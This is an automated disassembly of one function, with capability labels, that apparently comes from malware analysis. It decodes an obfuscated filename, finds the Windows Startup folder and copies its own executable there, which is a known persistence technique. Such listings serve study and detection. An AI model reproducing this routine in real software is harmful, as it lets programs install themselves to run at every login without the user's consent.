Function at 0x443910
Capabilities:
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a5796
mov eax, dword fs:[0]
push eax
sub esp, 0x478
mov eax, dword [0x4c9100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x443c53
mov byte [ebp - 0x450], 0
mov byte [ebp - 0x44f], 0x44
mov byte [ebp - 0x44e], 8
mov byte [ebp - 0x44d], 0xe
mov byte [ebp - 0x44c], 8
mov byte [ebp - 0x44b], 0x1c
mov byte [ebp - 0x44a], 8
mov byte [ebp - 0x449], 0x5b
mov byte [ebp - 0x448], 8
mov byte [ebp - 0x447], 0x41
mov byte [ebp - 0x446], 8
mov byte [ebp - 0x445], 0x26
mov byte [ebp - 0x444], 8
mov byte [ebp - 0x443], 0x6b
mov byte [ebp - 0x442], 8
mov byte [ebp - 0x441], 0x14
mov byte [ebp - 0x440], 8
mov byte [ebp - 0x43f], 0x6b
mov byte [ebp - 0x43e], 8
mov byte [ebp - 0x43d], 8
mov byte [ebp - 0x43c], 8
mov al, byte [ebp - 0x44f]
mov al, byte [ebp - 0x450]
test al, al
jne 0x443a48
xor ecx, ecx
lea esi, [ecx + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x44f]
movzx eax, al
sub eax, 8
lea eax, [eax + eax*4]
add eax, eax
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x44f], dl
inc ecx
cmp ecx, 0x14
jb 0x443a20
xorps xmm0, xmm0
mov dword [ebp - 0x45c], 0
lea ecx, [ebp - 0x44f]
mov dword [ebp - 0x458], 0
movups xmmword [ebp - 0x46c], xmm0
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x443a70
sub ecx, edx
lea eax, [ebp - 0x44f]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x46c]
call fcn.00429760
lea edx, [ebp - 0x46c]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x484]
call fcn.00439d10
mov esi, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x218]
xorps xmm0, xmm0
mov dword [ebp - 0x440], 0
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x43c], 0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x443ad7
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x450]
call fcn.00429760
push esi
lea eax, [ebp - 0x450]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x454]
lea ecx, [ebp - 0x438]
call fcn.004440e0
mov ecx, dword [ebp - 0x43c]
cmp ecx, 7
jbe 0x443b56
mov edx, dword [ebp - 0x450]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x443b4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443c6d
push ecx
push edx
call fcn.004615bb
add esp, 8
mov ecx, dword [ebp - 0x470]
cmp ecx, 7
jbe 0x443b96
mov edx, dword [ebp - 0x484]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x443b8c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443c6d
push ecx
push edx
call fcn.004615bb
add esp, 8
mov ecx, dword [ebp - 0x458]
xor eax, eax
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 7
mov word [ebp - 0x484], ax
cmp ecx, 7
jbe 0x443bf3
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x443be9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443c6d
push ecx
push edx
call fcn.004615bb
add esp, 8
cmp dword [ebp - 0x424], 7
lea eax, [ebp - 0x438]
push 1
cmova eax, dword [ebp - 0x438]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
mov ecx, dword [ebp - 0x424]
cmp ecx, 7
jbe 0x443c53
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x443c49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443c72
push ecx
push edx
call fcn.004615bb
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046157d
mov esp, ebp
pop ebp
ret
call fcn.0048347f
call fcn.0048347f
int3